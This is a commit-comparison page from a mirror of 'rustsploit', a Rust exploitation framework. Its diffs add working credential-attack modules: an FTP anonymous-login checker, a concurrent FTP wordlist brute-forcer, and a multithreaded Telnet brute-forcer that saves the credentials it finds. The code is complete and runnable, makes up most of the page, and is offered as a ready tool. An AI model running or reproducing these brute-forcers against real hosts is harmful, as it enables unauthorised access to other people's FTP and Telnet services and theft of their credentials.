mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
14 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| f876d91986 | |||
| 49ada2bb21 | |||
| 3f87adeb60 | |||
| e216e416ca | |||
| a910b75637 | |||
| d9547dbe2e | |||
| 54b1606028 | |||
| 2228c8a19b | |||
| 0d589e9bb6 | |||
| 1ad4786466 | |||
| a64b60c307 | |||
| 22933ec2fb | |||
| 892a29851a | |||
| f4217fa04d |
+13
@@ -15,3 +15,16 @@ tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0.97"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0.0"
|
||||
|
||||
tokio-socks = "0.5.2"
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8.1"
|
||||
crossbeam-channel = "0.5.15"
|
||||
telnet = "0.2.3"
|
||||
|
||||
@@ -11,10 +11,22 @@ A Rust-based modular exploitation framework inspired by RouterSploit. This tool
|
||||
|
||||
### Goals & To Do lists
|
||||
|
||||
docs
|
||||
|
||||
convert exploits and add modules
|
||||
|
||||
add wordlists and brute forcing modules
|
||||
|
||||
# completed
|
||||
|
||||
telnet_bruteforce
|
||||
|
||||
ftp anonymous login module
|
||||
|
||||
ftp brute forcing module
|
||||
|
||||
dynamic modules listing and colored listing
|
||||
|
||||
|
||||
## 🚀 Building & Running
|
||||
|
||||
|
||||
+15
-1
@@ -1,13 +1,27 @@
|
||||
use anyhow::Result;
|
||||
use crate::modules::creds;
|
||||
use crate::modules::creds::telnet_bruteforce;
|
||||
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
match module_name {
|
||||
"sample_cred_check" => {
|
||||
creds::sample_cred_check::run(target).await?;
|
||||
},
|
||||
"ftp_bruteforce" => {
|
||||
creds::ftp_bruteforce::run(target).await?;
|
||||
},
|
||||
"ftp_anonymous" => {
|
||||
creds::ftp_anonymous::run(target).await?;
|
||||
},
|
||||
|
||||
"telnet_bruteforce" => {
|
||||
telnet_bruteforce::run_module(target).await?;
|
||||
},
|
||||
// Add more creds modules here ...
|
||||
_ => eprintln!("Creds module '{}' not found.", module_name),
|
||||
_ => {
|
||||
eprintln!("Creds module '{}' not found.", module_name);
|
||||
},
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::net::TcpStream;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
/// Checks if anonymous FTP login is allowed on a target.
|
||||
///
|
||||
/// Example usage from shell:
|
||||
/// ```
|
||||
/// rsf> use creds/ftp_anonymous
|
||||
/// rsf> set target 192.168.1.1
|
||||
/// rsf> run
|
||||
/// ```
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = 21;
|
||||
let address = format!("{}:{}", target, port);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", address);
|
||||
|
||||
// Connect with a short timeout
|
||||
let stream = TcpStream::connect_timeout(
|
||||
&address.parse().context("Invalid address")?,
|
||||
Duration::from_secs(5),
|
||||
)
|
||||
.context("Connection failed")?;
|
||||
|
||||
// Clone reader/writer
|
||||
let mut reader = BufReader::new(stream.try_clone()?);
|
||||
let mut writer = stream;
|
||||
|
||||
// Read initial banner
|
||||
let mut banner = String::new();
|
||||
reader.read_line(&mut banner)?;
|
||||
print!("[<] {}", banner);
|
||||
|
||||
// Send USER anonymous
|
||||
writer.write_all(b"USER anonymous\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
let mut response = String::new();
|
||||
reader.read_line(&mut response)?;
|
||||
print!("[<] {}", response);
|
||||
|
||||
if !response.starts_with("3") && !response.contains("password") {
|
||||
println!("[-] Server does not accept 'anonymous' user.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Send PASS anything (or empty)
|
||||
writer.write_all(b"PASS anonymous\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
response.clear();
|
||||
reader.read_line(&mut response)?;
|
||||
print!("[<] {}", response);
|
||||
|
||||
if response.starts_with("2") {
|
||||
println!("[+] Anonymous login successful!");
|
||||
} else {
|
||||
println!("[-] Anonymous login failed.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,235 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
let _pass_len = pass_lines.len();
|
||||
|
||||
|
||||
let mut idx = 0;
|
||||
for pass in pass_lines {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
}
|
||||
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
// Pair same line index if available
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
let mut handles = vec![];
|
||||
|
||||
for user in userlist {
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ftp_login(&addr, &user, &pass).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr, user, pass);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
match FtpStream::connect(addr).await {
|
||||
Ok(mut stream) => match stream.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = stream.quit().await;
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("FTP error: {}", e))
|
||||
}
|
||||
}
|
||||
},
|
||||
Err(e) => Err(anyhow!("Connection error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -1 +1,4 @@
|
||||
pub mod sample_cred_check;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
use anyhow::{Result, Context};
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use telnet::Event;
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::{unbounded};
|
||||
use telnet::Telnet;
|
||||
|
||||
pub async fn run_module(target: &str) -> Result<()> {
|
||||
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
|
||||
|
||||
let target = target.to_string();
|
||||
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
|
||||
let config = TelnetBruteforceConfig {
|
||||
target,
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
};
|
||||
|
||||
run_telnet_bruteforce(config)
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct TelnetBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
}
|
||||
|
||||
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
|
||||
let addr = format!("{}:{}", config.target, config.port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address")?
|
||||
.next()
|
||||
.context("Unable to resolve target address")?;
|
||||
|
||||
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
|
||||
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
|
||||
let creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
|
||||
if config.full_combo {
|
||||
for user in &usernames {
|
||||
for pass in &passwords {
|
||||
tx.send((user.clone(), pass.clone()))?;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if usernames.len() == 1 {
|
||||
for pass in &passwords {
|
||||
tx.send((usernames[0].clone(), pass.clone()))?;
|
||||
}
|
||||
} else if passwords.len() == 1 {
|
||||
for user in &usernames {
|
||||
tx.send((user.clone(), passwords[0].clone()))?;
|
||||
}
|
||||
} else {
|
||||
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
|
||||
for pass in &passwords {
|
||||
tx.send((usernames[0].clone(), pass.clone()))?;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(tx);
|
||||
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let creds = Arc::clone(&creds);
|
||||
let config = config.clone();
|
||||
|
||||
pool.execute(move || {
|
||||
while let Ok((username, password)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() {
|
||||
break;
|
||||
}
|
||||
|
||||
if config.verbose {
|
||||
println!("[*] Trying {}:{}", username, password);
|
||||
}
|
||||
|
||||
match try_telnet_login(&addr, &username, &password) {
|
||||
Ok(true) => {
|
||||
println!("[+] Valid credentials: {}:{}", username, password);
|
||||
creds.lock().unwrap().push((username, password));
|
||||
|
||||
if config.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
if config.verbose {
|
||||
eprintln!("[!] Error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
pool.join();
|
||||
|
||||
let creds = creds.lock().unwrap();
|
||||
if creds.is_empty() {
|
||||
println!("[-] No valid credentials found.");
|
||||
} else {
|
||||
println!("\n[+] Found credentials:");
|
||||
for (u, p) in creds.iter() {
|
||||
println!(" - {}:{}", u, p);
|
||||
}
|
||||
|
||||
let save = prompt("\n[?] Save credentials to file? (y/n): ");
|
||||
if save.trim().eq_ignore_ascii_case("y") {
|
||||
let filename = prompt("Enter filename to save: ");
|
||||
if let Err(e) = save_results(&filename, &creds) {
|
||||
eprintln!("[!] Failed to save results: {}", e);
|
||||
} else {
|
||||
println!("[+] Results saved to '{}'", filename);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
|
||||
let mut connection = Telnet::connect((addr, 23), 256)
|
||||
.context("Failed to connect to Telnet server")?;
|
||||
|
||||
let mut login_prompt_seen = false;
|
||||
let mut pass_prompt_seen = false;
|
||||
|
||||
for _ in 0..10 {
|
||||
let event = connection.read().context("Failed to read from Telnet")?;
|
||||
|
||||
match event {
|
||||
Event::Data(buffer) => {
|
||||
let output = String::from_utf8_lossy(&buffer).to_lowercase();
|
||||
|
||||
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
|
||||
connection.write(format!("{}\n", username).as_bytes())?;
|
||||
login_prompt_seen = true;
|
||||
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
|
||||
connection.write(format!("{}\n", password).as_bytes())?;
|
||||
pass_prompt_seen = true;
|
||||
} else if pass_prompt_seen {
|
||||
// Look for signs of successful or failed login
|
||||
if output.contains("incorrect")
|
||||
|| output.contains("failed")
|
||||
|| output.contains("denied")
|
||||
{
|
||||
return Ok(false);
|
||||
} else if output.contains("last login")
|
||||
|| output.contains("$")
|
||||
|| output.contains("welcome")
|
||||
|| output.contains("#")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Unable to open {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
for (u, p) in creds {
|
||||
writeln!(file, "{}:{}", u, p)?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> String {
|
||||
print!("{}", message);
|
||||
io::stdout().flush().unwrap();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input).unwrap();
|
||||
input.trim().to_string()
|
||||
}
|
||||
+45
-21
@@ -1,25 +1,49 @@
|
||||
use std::collections::HashSet;
|
||||
use colored::*;
|
||||
use std::fs;
|
||||
use std::path::Path;
|
||||
|
||||
/// Check if a module path is valid (exploits/..., scanners/..., creds/...)
|
||||
/// Dynamically checks if a module path exists
|
||||
pub fn module_exists(module_path: &str) -> bool {
|
||||
// For demonstration, we only hard-code the known modules
|
||||
let known_modules = [
|
||||
"exploits/sample_exploit",
|
||||
"scanners/sample_scanner",
|
||||
"creds/sample_cred_check",
|
||||
];
|
||||
known_modules.contains(&module_path)
|
||||
}
|
||||
|
||||
/// List all known modules
|
||||
pub fn list_all_modules() {
|
||||
let modules = [
|
||||
"exploits/sample_exploit",
|
||||
"scanners/sample_scanner",
|
||||
"creds/sample_cred_check",
|
||||
];
|
||||
println!("Available modules:");
|
||||
for m in modules {
|
||||
println!(" {}", m);
|
||||
if let Some((category, name)) = module_path.split_once('/') {
|
||||
let path = format!("src/modules/{}/{}.rs", category, name);
|
||||
Path::new(&path).exists()
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/// Lists all available modules in exploits, scanners, and creds
|
||||
pub fn list_all_modules() {
|
||||
let categories = [
|
||||
("exploits", "Exploits"),
|
||||
("scanners", "Scanners"),
|
||||
("creds", "Credentials"),
|
||||
];
|
||||
|
||||
println!("{}", "Available modules:".bold().underline());
|
||||
|
||||
for (folder, display_name) in categories {
|
||||
let mut modules = Vec::new();
|
||||
let dir_path = format!("src/modules/{}", folder);
|
||||
|
||||
if let Ok(entries) = fs::read_dir(&dir_path) {
|
||||
for entry in entries.flatten() {
|
||||
if let Some(file_name) = entry.file_name().to_str() {
|
||||
if file_name.ends_with(".rs") && file_name != "mod.rs" {
|
||||
let module_name = file_name.trim_end_matches(".rs").to_string();
|
||||
modules.push(module_name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
modules.sort();
|
||||
|
||||
if !modules.is_empty() {
|
||||
println!("\n{}:", display_name.blue().bold());
|
||||
for module in modules {
|
||||
println!(" - {}", format!("{}/{}", folder, module).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user